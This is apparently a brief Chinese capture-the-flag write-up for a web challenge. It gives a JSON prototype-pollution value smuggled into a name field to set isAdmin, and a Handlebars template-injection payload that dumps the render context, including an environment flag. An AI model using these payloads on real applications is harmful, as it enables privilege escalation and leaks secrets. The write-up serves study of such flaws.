Web#

华为HCIE的第一课#

控制name原型链污染isAdmin拿到admin权限。
handlebars模板使用两层#each helper遍历this,内层遍历this.valueOf,即对象原始值。输出所有渲染模板给出的参数,flag在env.flag。
name:

1
haha","__proto__":{"isAdmin":1},"b":"a

handlebars payload:

1
{{#each this}}{{#with this.valueOf as |value|}}{{#each value}}{{this.valueOf}}{{/each}}{{/with}}{{/each}}